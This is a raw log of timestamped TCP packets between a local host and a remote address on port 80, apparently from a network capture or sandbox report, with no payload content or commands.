Feb 25, 2021 15:15:49.061459064 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.061510086 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.061533928 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.062216997 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.062241077 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.062257051 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.062309027 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.063117981 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.063152075 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.063168049 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.063210011 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.063256025 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.063918114 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.063935041 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.063951015 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.064006090 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.064764977 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.064781904 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.064794064 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.064832926 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.064866066 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.065593004 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.065613031 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.065624952 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.065691948 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.066421032 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.066437960 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.066450119 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.066526890 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.067245007 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.067261934 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.067272902 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.067332983 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.068026066 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.068058968 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.068077087 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.068092108 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.068139076 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.068814039 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.068830013 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.068859100 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.068882942 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.069638968 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.069660902 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.069678068 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.069696903 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.069761992 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.070360899 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.070388079 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.070400953 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.070535898 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.071098089 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.071105957 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.071121931 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.071177006 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.071842909 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.071861029 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.071876049 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.071898937 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.071914911 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.071952105 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.072813034 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.072835922 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.072899103 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.073286057 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.073302984 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.073318005 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.073333979 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.073378086 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.074233055 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.074249983 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.074261904 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.074278116 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.074301958 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.074348927 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.075171947 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.075190067 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.075206041 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.075222969 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.075270891 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.076108932 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.076128006 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.076148033 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.076164961 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.076225042 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.076993942 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.077013969 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.077025890 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.077042103 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.077080965 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.077128887 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.077908039 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.077924013 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.077935934 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.077949047 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.078005075 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.078036070 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.078775883 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.078793049 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.078804970 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.078821898 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.078849077 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.078906059 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.079652071 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.079669952 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.079684973 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.079699993 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.079721928 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.079781055 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.080502033 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.080523968 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.080542088 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.080557108 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.080579042 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.080621004 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.081342936 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.081358910 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.081374884 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.081403017 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.081418991 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.081455946 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.082210064 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.082228899 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.082242966 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.082261086 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.082324982 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.083025932 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.083050013 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.083065033 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.083082914 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.083139896 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.083875895 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.083893061 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.083904982 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.083916903 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.083961010 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.083992004 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.084703922 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.084719896 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.084732056 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.084743977 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.084783077 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.084832907 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.085561037 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.085580111 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.085591078 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.085607052 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.085633993 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.085658073 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.086393118 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.086410999 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.086426020 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.086461067 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.086477995 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.086510897 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.087228060 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.087246895 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.087263107 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.087279081 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.087310076 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.087347984 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.088074923 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.088095903 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.088112116 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.088126898 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.088162899 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.088198900 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.088915110 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.088931084 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.088943005 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.088954926 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.089020967 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.089092016 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.089531898 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.089548111 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.089560986 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.089577913 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.089592934 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.089601994 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.089608908 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.089656115 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.090482950 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.090502024 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.090517998 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.090533018 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.090548992 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.090568066 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.090621948 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.091414928 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.091430902 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.091447115 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.091449976 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.091461897 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.091475964 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.091480970 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.091492891 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.091523886 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.091558933 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.092345953 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.092364073 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.092380047 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.092394114 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.092410088 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.092425108 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.092437029 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.093100071 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.093266010 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.093282938 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.093298912 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.093314886 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.093329906 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.093331099 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.093347073 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.093365908 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.093396902 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.094198942 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.094217062 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.094232082 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.094248056 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.094263077 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.094276905 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.094284058 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.094319105 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.095129013 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.095146894 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.095164061 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.095179081 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.095194101 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.095210075 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.095253944 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.095288992 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.096080065 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.096097946 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.096112967 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.096128941 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.096144915 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.096159935 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.096165895 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.096220970 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.096960068 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.096980095 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.096997023 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.097012043 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.097028017 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.097033978 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.097043991 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.097070932 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.097099066 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.098344088 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.098364115 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.098376989 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.098392963 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.098407984 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.098423004 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.098439932 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.098493099 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.099975109 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.099993944 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.100006104 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.100018024 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.100033998 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.100049019 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.100085020 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.100116014 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.102264881 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.102287054 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.102303028 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.102320910 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.102338076 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.102353096 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.102385044 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.102466106 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.103142977 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.103161097 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.103177071 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.103195906 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.103212118 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.103228092 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.103240013 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.103262901 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.103293896 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.103607893 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.103625059 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.103641033 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.103655100 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.103671074 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.103688002 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.103692055 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.103733063 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.104502916 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.104521990 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.104537010 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.104552031 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.104567051 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.104585886 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.104593039 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.104660034 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.105424881 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.105443001 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.105458975 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.105474949 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.105490923 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.105505943 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.105535030 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.105572939 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.106321096 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.106338024 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.106353045 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.106369019 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.106384993 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.106395960 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.106400013 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.106426954 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.106470108 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.107235909 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.107255936 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.107274055 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.107289076 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.107306004 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.107319117 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.107322931 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.107378960 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.108150005 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.108175993 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.108191967 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.108206987 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.108222008 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.108241081 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.108316898 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.109082937 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.109103918 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.109119892 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.109139919 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.109158039 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.109174967 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.109190941 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.109225988 CET	49730	80	192.168.2.7	172.67.172.17
Feb 25, 2021 15:15:49.109947920 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.109966040 CET	80	49730	172.67.172.17	192.168.2.7
Feb 25, 2021 15:15:49.109986067 CET	80	49730	172.67.172.17	192.168.2.7
